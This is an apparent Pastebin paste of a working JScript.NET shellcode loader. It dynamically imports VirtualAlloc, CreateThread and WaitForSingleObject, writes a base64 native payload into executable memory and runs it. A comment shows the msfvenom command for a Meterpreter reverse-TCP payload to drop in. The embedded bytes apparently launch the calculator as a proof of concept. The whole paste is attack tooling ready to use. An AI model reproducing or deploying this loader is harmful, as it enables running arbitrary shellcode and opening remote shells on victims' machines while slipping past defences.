Advertisement
Guest User

Untitled

a guest
Oct 15th, 2019
307
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.91 KB | None | 0 0
  1. import System;
  2. import System.Runtime.InteropServices;
  3. import System.Reflection;
  4. import System.Reflection.Emit;
  5. import System.Runtime;
  6. import System.Text;
  7.  
  8. //C:\Windows\Microsoft.NET\Framework\v2.0.50727\jsc.exe Shellcode.js
  9. //C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Shellcode.js
  10.  
  11. function InvokeWin32(dllName:String, returnType:Type,
  12. methodName:String, parameterTypes:Type[], parameters:Object[])
  13. {
  14. // Begin to build the dynamic assembly
  15. var domain = AppDomain.CurrentDomain;
  16. var name = new System.Reflection.AssemblyName('PInvokeAssembly');
  17. var assembly = domain.DefineDynamicAssembly(name, AssemblyBuilderAccess.Run);
  18. var module = assembly.DefineDynamicModule('PInvokeModule');
  19. var type = module.DefineType('PInvokeType',TypeAttributes.Public + TypeAttributes.BeforeFieldInit);
  20.  
  21. // Define the actual P/Invoke method
  22. var method = type.DefineMethod(methodName, MethodAttributes.Public + MethodAttributes.HideBySig + MethodAttributes.Static + MethodAttributes.PinvokeImpl, returnType, parameterTypes);
  23.  
  24. // Apply the P/Invoke constructor
  25. var ctor = System.Runtime.InteropServices.DllImportAttribute.GetConstructor([Type.GetType("System.String")]);
  26. var attr = new System.Reflection.Emit.CustomAttributeBuilder(ctor, [dllName]);
  27. method.SetCustomAttribute(attr);
  28.  
  29. // Create the temporary type, and invoke the method.
  30. var realType = type.CreateType();
  31. return realType.InvokeMember(methodName, BindingFlags.Public + BindingFlags.Static + BindingFlags.InvokeMethod, null, null, parameters);
  32. }
  33.  
  34. function VirtualAlloc( lpStartAddr:UInt32, size:UInt32, flAllocationType:UInt32, flProtect:UInt32)
  35. {
  36. var parameterTypes:Type[] = [Type.GetType("System.UInt32"),Type.GetType("System.UInt32"),Type.GetType("System.UInt32"),Type.GetType("System.UInt32")];
  37. var parameters:Object[] = [lpStartAddr, size, flAllocationType, flProtect];
  38.  
  39. return InvokeWin32("kernel32.dll", Type.GetType("System.IntPtr"), "VirtualAlloc", parameterTypes, parameters );
  40. }
  41.  
  42. function CreateThread( lpThreadAttributes:UInt32, dwStackSize:UInt32, lpStartAddress:IntPtr, param:IntPtr, dwCreationFlags:UInt32, lpThreadId:UInt32)
  43. {
  44. var parameterTypes:Type[] = [Type.GetType("System.UInt32"),Type.GetType("System.UInt32"),Type.GetType("System.IntPtr"),Type.GetType("System.IntPtr"), Type.GetType("System.UInt32"), Type.GetType("System.UInt32") ];
  45. var parameters:Object[] = [lpThreadAttributes, dwStackSize, lpStartAddress, param, dwCreationFlags, lpThreadId ];
  46.  
  47. return InvokeWin32("kernel32.dll", Type.GetType("System.IntPtr"), "CreateThread", parameterTypes, parameters );
  48. }
  49.  
  50. function WaitForSingleObject( handle:IntPtr, dwMiliseconds:UInt32)
  51. {
  52. var parameterTypes:Type[] = [Type.GetType("System.IntPtr"),Type.GetType("System.UInt32")];
  53. var parameters:Object[] = [handle, dwMiliseconds ];
  54.  
  55. return InvokeWin32("kernel32.dll", Type.GetType("System.IntPtr"), "WaitForSingleObject", parameterTypes, parameters );
  56. }
  57.  
  58. function ShellCodeExec()
  59. {
  60. var MEM_COMMIT:uint = 0x1000;
  61. var PAGE_EXECUTE_READWRITE:uint = 0x40;
  62. //msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ip LPORT=port -f raw | base64
  63. var shellcodestr:String = '/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYwA=';
  64. var shellcode:Byte[] = System.Convert.FromBase64String(shellcodestr);
  65. var funcAddr:IntPtr = VirtualAlloc(0, UInt32(shellcode.Length),MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  66.  
  67.  
  68. Marshal.Copy(shellcode, 0, funcAddr, shellcode.Length);
  69. var hThread:IntPtr = IntPtr.Zero;
  70. var threadId:UInt32 = 0;
  71. // prepare data
  72. var pinfo:IntPtr = IntPtr.Zero;
  73. // execute native code
  74. hThread = CreateThread(0, 0, funcAddr, pinfo, 0, threadId);
  75. WaitForSingleObject(hThread, 0xFFFFFFFF);
  76.  
  77. }
  78.  
  79. ShellCodeExec();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement